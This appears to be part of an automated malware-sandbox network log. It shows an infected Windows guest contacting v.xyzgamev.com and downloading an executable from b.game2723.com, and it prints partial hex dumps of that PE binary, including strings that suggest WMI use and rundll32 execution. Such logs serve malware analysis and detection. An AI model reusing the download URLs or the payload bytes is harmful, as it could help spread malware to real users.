2022-08-31 12:29:07 UTC	4789	IN	Data Raw: 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f Data Ascii: lass="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself fro
2022-08-31 12:29:07 UTC	4791	IN	Data Raw: 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: n sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:
2022-08-31 12:29:07 UTC	4792	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49759	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:07 UTC	4792	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:07 UTC	4792	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:22 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wkOjbHU68qwTKevIDpwQts1YxhRNeS1W660pCo2P%2ButsEJjuDopYU0KLx%2FYTZMGSGoHR9Z1gbQMVlad1GeJlmA7YKbbd%2FlOJ%2FUGp6GWIBrGp7mDos240T86YHjUSbvofiA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c51bebbbbbfd-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:07 UTC	4793	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:07 UTC	4793	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:29:07 UTC	4795	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:29:07 UTC	4796	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:29:07 UTC	4797	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49733	188.114.96.3	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:28:47 UTC	1	OUT	GET /gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: b.game2723.com
2022-08-31 12:28:47 UTC	2	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 12:28:47 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Content-Disposition: attachment; filename="zhangshuai.exe" Content-Transfer-Encoding: binary Vary: Accept-Encoding Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5226 Last-Modified: Wed, 31 Aug 2022 11:01:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VzKrsyusmqWXz%2BEJ1kgvN5tQoGQfcQ4sVKyKGVmBjlwLANz3QJuFyar%2BisLs8QF1LcElUKVgVSXGGnVFFlTUSnBDXprypfD7gxQR0vurRK1OJJD06G7QJ9%2BJ1eGPCgdnSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c49c786390f4-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:28:47 UTC	2	IN	Data Raw: 31 64 31 35 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ba 27 64 b3 fe 46 0a e0 fe 46 0a e0 fe 46 0a e0 3d 49 55 e0 ff 46 0a e0 d9 80 77 e0 ea 46 0a e0 d9 80 64 e0 ce 46 0a e0 d9 80 67 e0 90 46 0a e0 3d 49 57 e0 f7 46 0a e0 fe 46 0b e0 8d 46 0a e0 d9 80 78 e0 fc 46 0a e0 d9 80 72 e0 ff 46 0a e0 52 69 63 68 fe 46 0a e0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 71 b5 05 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b Data Ascii: 1d15MZ@!L!This program cannot be run in DOS mode.$'dFFF=IUFwFdFgF=IWFFFxFrFRichFPELqc
2022-08-31 12:28:47 UTC	3	IN	Data Raw: 00 00 00 10 01 00 00 20 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 50 01 00 00 b0 01 00 00 30 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @.rsrcP0@@
2022-08-31 12:28:47 UTC	4	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:47 UTC	6	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:47 UTC	7	IN	Data Raw: 00 c7 45 bc 40 04 00 00 c7 45 cc e0 fd 40 00 c7 45 d4 01 00 00 00 89 75 c8 c7 45 c4 d8 22 41 00 ff d7 8b 4d fc 33 cd 5f e8 55 09 00 00 c9 c3 55 8b ec 83 ec 7c a1 20 10 41 00 33 c5 89 45 fc 53 56 57 68 78 fd 40 00 e8 35 fe ff ff 50 ff 15 08 e0 40 00 8b f8 8d 45 9c 50 8d 75 d4 c7 45 9c 72 6f 6f 74 c7 45 a0 5c 63 69 6d c7 45 a4 76 32 00 00 e8 e7 fd ff ff 33 db 53 53 53 6a 03 53 53 53 6a ff 53 ff 15 80 e1 40 00 85 c0 7c 58 8d 45 bc 50 68 34 fb 40 00 6a 01 53 68 04 fc 40 00 ff d7 85 c0 7c 41 8b 45 bc 8d 55 e0 52 53 53 53 53 53 53 ff 75 d4 89 5d e0 8b 08 50 ff 51 0c 85 c0 7c 17 53 53 6a 03 6a 03 53 53 6a 0a ff 75 e0 ff 15 7c e1 40 00 85 c0 7d 1d 8b 45 e0 3b c3 74 06 8b 08 50 ff 51 08 ff 75 d4 ff 15 64 e1 40 00 33 c0 e9 bb 01 00 00 8d 45 f4 50 8d 75 d0 89 5d cc Data Ascii: E@E@EuE"AM3_UU\| A3ESVWhx@5P@EPuErootE\cimEv23SSSjSSSjS@\|XEPh4@jSh@\|AEURSSSSSSu]PQ\|SSjjSSju\|@}E;tPQud@3EPu]
2022-08-31 12:28:47 UTC	8	IN	Data Raw: 50 ff d6 ff b5 e4 fd ff ff 8d 85 f0 fd ff ff 50 ff d6 8d 85 f0 fd ff ff 89 85 e4 fd ff ff 68 58 fd 40 00 e8 3e f9 ff ff 8b 35 08 e0 40 00 50 ff d6 83 7d 0c 02 0f 85 87 00 00 00 ff b5 e4 fd ff ff 8d 8d 4c fd ff ff 51 68 d8 2e 41 00 c7 85 4c fd ff ff 72 00 75 00 c7 85 50 fd ff ff 6e 00 64 00 89 9d 54 fd ff ff c7 85 58 fd ff ff 33 00 32 00 c7 85 5c fd ff ff 2e 00 65 00 c7 85 60 fd ff ff 78 00 65 00 c7 85 64 fd ff ff 20 00 22 00 c7 85 68 fd ff ff 25 00 73 00 c7 85 6c fd ff ff 22 00 2c 00 c7 85 70 fd ff ff 6f 00 70 00 c7 85 74 fd ff ff 65 00 6e 00 89 bd 78 fd ff ff ff d0 83 c4 0c 68 98 fd 40 00 e8 dc f8 ff ff 50 ff d6 68 a4 fd 40 00 89 85 d0 fd ff ff e8 c9 f8 ff ff 50 ff d6 68 b0 fd 40 00 89 85 a4 fd ff ff e8 b6 f8 ff ff 50 ff d6 57 68 80 00 00 00 6a 02 57 57 Data Ascii: PPhX@>5@P}LQh.ALruPndTX32\.e`xed "h%sl",poptenxh@Ph@Ph@PWhjWW
2022-08-31 12:28:47 UTC	10	IN	Data Raw: 75 1d e8 33 04 00 00 c7 00 16 00 00 00 56 56 56 56 56 e8 b5 18 00 00 83 c4 14 83 c8 ff eb 5f e8 cc 18 00 00 6a 20 0d 0a Data Ascii: u3VVVVV_j
2022-08-31 12:28:47 UTC	10	IN	Data Raw: 37 66 66 39 0d 0a 5b 03 c3 50 6a 01 e8 c5 19 00 00 59 59 89 75 fc e8 b5 18 00 00 03 c3 50 e8 28 1a 00 00 59 8b f8 8d 45 0c 50 56 ff 75 08 e8 9d 18 00 00 03 c3 50 e8 f8 1b 00 00 89 45 e4 e8 8d 18 00 00 03 c3 50 57 e8 95 1a 00 00 83 c4 18 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 9b 11 00 00 c3 e8 67 18 00 00 83 c0 20 50 6a 01 e8 b4 19 00 00 59 59 c3 a1 20 10 41 00 83 c8 01 33 c9 39 05 00 23 41 00 0f 94 c1 8b c1 c3 51 c7 01 ec e1 40 00 e8 32 25 00 00 59 c3 56 8b f1 e8 ea ff ff ff f6 44 24 08 01 74 07 56 e8 fb fd ff ff 59 8b c6 5e c2 04 00 83 3d 0c 23 41 00 02 74 05 e8 ac 2a 00 00 ff 74 24 04 e8 03 29 00 00 68 ff 00 00 00 e8 3b 26 00 00 59 59 c3 66 81 3d 00 00 40 00 4d 5a 75 33 a1 3c 00 40 00 81 b8 00 00 40 00 50 45 00 00 75 22 66 81 b8 18 00 40 00 0b Data Ascii: 7ff9[PjYYuP(YEPVuPEPWEEg PjYY A39#AQ@2%YVD$tVY^=#At*t$)h;&YYf=@MZu3<@@PEu"f@
2022-08-31 12:28:47 UTC	11	IN	Data Raw: c0 eb f1 53 8b 1d 74 e0 40 00 56 be a0 11 41 00 57 8b 3e 85 ff 74 13 83 7e 04 01 74 0d 57 ff d3 57 e8 40 f9 ff ff 83 26 00 59 83 c6 08 81 fe c0 12 41 00 7c dc be a0 11 41 00 5f 8b 06 85 c0 74 09 83 7e 04 01 75 03 50 ff d3 83 c6 08 81 fe c0 12 41 00 7c e6 5e 5b c3 55 8b ec 8b 45 08 ff 34 c5 a0 11 41 00 ff 15 78 e0 40 00 5d c3 6a 0c 68 70 ff 40 00 e8 e7 0b 00 00 33 ff 47 89 7d e4 33 db 39 1d 34 26 41 00 75 18 e8 8a 25 00 00 6a 1e e8 e3 23 00 00 68 ff 00 00 00 e8 1b 21 00 00 59 59 8b 75 08 8d 34 f5 a0 11 41 00 39 1e 74 04 8b c7 eb 6e 6a 18 e8 0e 35 00 00 59 8b f8 3b fb 75 0f e8 fb fd ff ff c7 00 0c 00 00 00 33 c0 eb 51 6a 0a e8 59 00 00 00 59 89 5d fc 39 1e 75 2c 68 a0 0f 00 00 57 e8 19 34 00 00 59 59 85 c0 75 17 57 e8 70 f8 ff ff 59 e8 c5 fd ff ff c7 00 0c Data Ascii: St@VAW>t~tWW@&YA\|A_t~uPA\|^[UE4Ax@]jhp@3G}394&Au%j#h!YYu4A9tnj5Y;u3QjYY]9u,hW4YYuWpY
2022-08-31 12:28:47 UTC	12	IN	Data Raw: 68 00 00 10 00 57 ff 15 80 e0 40 00 3b c7 89 46 0c 75 12 ff 76 10 57 ff 35 34 26 41 00 ff 15 44 e0 40 00 eb 9b 83 4e 08 ff 89 3e 89 7e 04 ff 05 24 44 41 00 8b 46 10 83 08 ff 8b c6 5f 5e c3 55 8b ec 51 51 8b 4d 08 8b 41 08 53 56 8b 71 10 57 33 db eb 03 03 c0 43 85 c0 7d f9 8b c3 69 c0 04 02 00 00 8d 84 30 44 01 00 00 6a 3f 89 45 f8 5a 89 40 08 89 40 04 83 c0 08 4a 75 f4 6a 04 8b fb 68 00 10 00 00 c1 e7 0f 03 79 0c 68 00 80 00 00 57 ff 15 80 e0 40 00 85 c0 75 08 83 c8 ff e9 9d 00 00 00 8d 97 00 70 00 00 3b fa 89 55 fc 77 43 8b ca 2b cf c1 e9 0c 8d 47 10 41 83 48 f8 ff 83 88 ec 0f 00 00 ff 8d 90 fc 0f 00 00 89 10 8d 90 fc ef ff ff c7 40 fc f0 0f 00 00 89 50 04 c7 80 e8 0f 00 00 f0 0f 00 00 05 00 10 00 00 49 75 cb 8b 55 fc 8b 45 f8 05 f8 01 00 00 8d 4f 0c 89 Data Ascii: hW@;FuvW54&AD@N>~$DAF_^UQQMASVqW3C}i0Dj?EZ@@JujhyhW@up;UwC+GAH@PIuUEO
2022-08-31 12:28:47 UTC	14	IN	Data Raw: e7 8b 55 fc 8b ca 69 c9 04 02 00 00 8d 8c 01 44 01 00 00 89 4d f4 8b 4c 90 44 33 ff 23 ce 75 12 8b 8c 90 c4 00 00 00 23 4d f8 6a 20 5f eb 03 03 c9 47 85 c9 7d f9 8b 4d f4 8b 54 f9 04 8b 0a 2b 4d f0 8b f1 c1 fe 04 4e 83 fe 3f 89 4d f8 7e 03 6a 3f 5e 3b f7 0f 84 01 01 00 00 8b 4a 04 3b 4a 08 75 5c 83 ff 20 bb 00 00 00 80 7d 26 8b cf d3 eb 8b 4d fc 8d 7c 38 04 f7 d3 89 5d ec 23 5c 88 44 89 5c 88 44 fe 0f 75 33 8b 4d ec 8b 5d 08 21 0b eb 2c 8d 4f e0 d3 eb 8b 4d fc 8d 8c 88 c4 00 00 00 8d 7c 38 04 f7 d3 21 19 fe 0f 89 5d ec 75 0b 8b 5d 08 8b 4d ec 21 4b 04 eb 03 8b 5d 08 83 7d f8 00 8b 4a 08 8b 7a 04 89 79 04 8b 4a 04 8b 7a 08 89 79 08 0f 84 8d 00 00 00 8b 4d f4 8d 0c f1 8b 79 04 89 4a 08 89 7a 04 89 51 04 8b 4a 04 89 51 08 8b 4a 04 3b 4a 08 75 5e 8a 4c 06 04 Data Ascii: UiDMLD3#u#Mj _G}MT+MN?M~j?^;J;Ju\ }&M\|8]#\D\Du3M]!,OM\|8!]u]M!K]}JzyJzyMyJzQJQJ;Ju^L
2022-08-31 12:28:47 UTC	15	IN	Data Raw: 00 78 32 40 00 8b 44 8e e4 89 44 8f e4 8b 44 8e e8 89 44 8f e8 8b 44 8e ec 89 44 8f ec 8b 44 8e f0 89 44 8f f0 8b 44 8e f4 89 44 8f f4 8b 44 8e f8 89 44 8f f8 8b 44 8e fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 c4 32 40 00 8b ff d4 32 40 00 dc 32 40 00 e8 32 40 00 fc 32 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 60 34 40 00 8b ff f7 d9 ff 24 8d 10 34 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 64 33 40 00 ff 24 8d 60 34 40 00 90 74 33 40 00 98 33 40 00 c0 33 Data Ascii: x2@DDDDDDDDDDDDDD$2@2@2@2@2@E^_E^_FGE^_IFGFGE^_t1\|9u$r$`4@$4@Ir+$d3@$`4@t3@3@3
2022-08-31 12:28:47 UTC	16	IN	Data Raw: 89 46 04 eb 0d 8b 3f 89 7e 08 89 3e 89 5e 18 89 5e 04 81 4e 0c 02 11 00 00 5f 33 c0 5b 40 5e c3 33 c0 5e c3 83 7c 24 04 00 74 27 56 8b 74 24 0c 66 f7 46 0c 00 10 74 19 56 e8 a7 29 00 00 81 66 0c ff ee ff ff 83 66 18 00 83 26 00 83 66 08 00 59 5e c3 8b 44 24 04 85 c0 56 8b f1 c6 46 0c 00 75 63 e8 c5 1b 00 00 89 46 08 8b 48 6c 89 0e 8b 48 68 89 4e 04 8b 0e 3b 0d d8 1c 41 00 74 12 8b 0d f4 1b 41 00 85 48 70 75 07 e8 87 34 00 00 89 06 8b 46 04 3b 05 f8 1a 41 00 74 16 8b 46 08 8b 0d f4 1b 41 00 85 48 70 75 08 e8 56 2d 00 00 89 46 04 8b 46 08 f6 40 70 02 75 14 83 48 70 02 c6 46 0c 01 eb 0a 8b 08 89 0e 8b 40 04 89 46 04 8b c6 5e c2 04 00 f6 41 0c 40 74 06 83 79 08 00 74 24 ff 49 04 78 0b 8b 11 88 02 ff 01 0f b6 c0 eb 0c 0f be c0 51 50 e8 91 34 00 00 59 59 83 f8 Data Ascii: F?~>^^N_3[@^3^\|$t'Vt$fFtV)ff&fY^D$VFucFHlHhN;AtAHpu4F;AtFAHpuV-FF@puHpF@F^A@tyt$IxQP4YY
2022-08-31 12:28:47 UTC	18	IN	Data Raw: 00 00 e9 09 02 00 00 66 f7 45 e8 30 08 75 75 81 4d e8 00 08 00 00 eb 6c 66 f7 45 e8 30 08 75 07 81 4d e8 00 08 00 00 8b 4d e0 83 f9 ff 75 05 b9 ff ff ff 7f 83 c7 04 66 f7 45 e8 10 08 89 7d d4 8b 7f fc 89 7d dc 0f 84 b4 03 00 00 3b fe 75 08 a1 44 15 41 00 89 45 dc 8b 45 dc c7 45 bc 01 00 00 00 e9 8e 03 00 00 83 e8 58 0f 84 39 02 00 00 48 48 74 5d 2b c1 0f 84 64 ff ff ff 48 48 0f 85 9e 03 00 00 83 c7 04 66 f7 45 e8 10 08 89 7d d4 74 27 0f b7 47 fc 50 68 00 02 00 00 8d 45 ec 50 8d 45 d8 50 e8 fc 32 00 00 83 c4 10 85 c0 74 16 c7 45 b0 01 00 00 00 eb 0d 8a 47 fc 88 45 ec c7 45 d8 01 00 00 00 8d 45 ec 89 45 dc e9 51 03 00 00 8b 07 83 c7 04 3b c6 89 7d d4 74 2e 8b 48 04 3b ce 74 27 66 f7 45 e8 00 08 0f bf 00 89 4d dc 74 11 99 2b c2 d1 f8 c7 45 bc 01 00 00 00 e9 Data Ascii: fE0uuMlfE0uMMufE}};uDAEEEX9HHt]+dHHfE}t'GPhEPEP2tEGEEEEQ;}t.H;t'fEMt+E
